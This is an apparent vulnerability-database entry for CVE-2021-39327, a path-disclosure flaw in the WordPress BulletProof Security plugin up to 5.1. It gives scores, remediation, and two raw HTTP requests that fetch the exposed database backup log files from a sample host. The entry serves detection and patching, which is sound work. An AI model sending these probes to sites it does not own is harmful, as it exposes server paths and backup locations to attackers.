🔙 목록으로 돌아가기

CVE-2021-39327: WordPress BulletProof Security 5.1 Information Disclosure

TitleWordPress BulletProof Security 5.1 Information Disclosure
Authorgeeknik
SeverityMedium
ImpactAn attacker can gain sensitive information from the target system.
RemediationUpdate to the latest version of WordPress BulletProof Security.
CVSS Score5.3
EPSS Score0.91276
CVE IDCVE-2021-39327
CWE IDCWE-459,CWE-200
Tags cve2021 cve exposure packetstorm wordpress ait-pro vuln

🔍 Vulnerability Description

The BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible ~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. This affects versions up to, and including, 5.1.

🌐 HTTP Request

GET /wp-content/bps-backup/logs/db_backup_log.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39327.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-39327.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A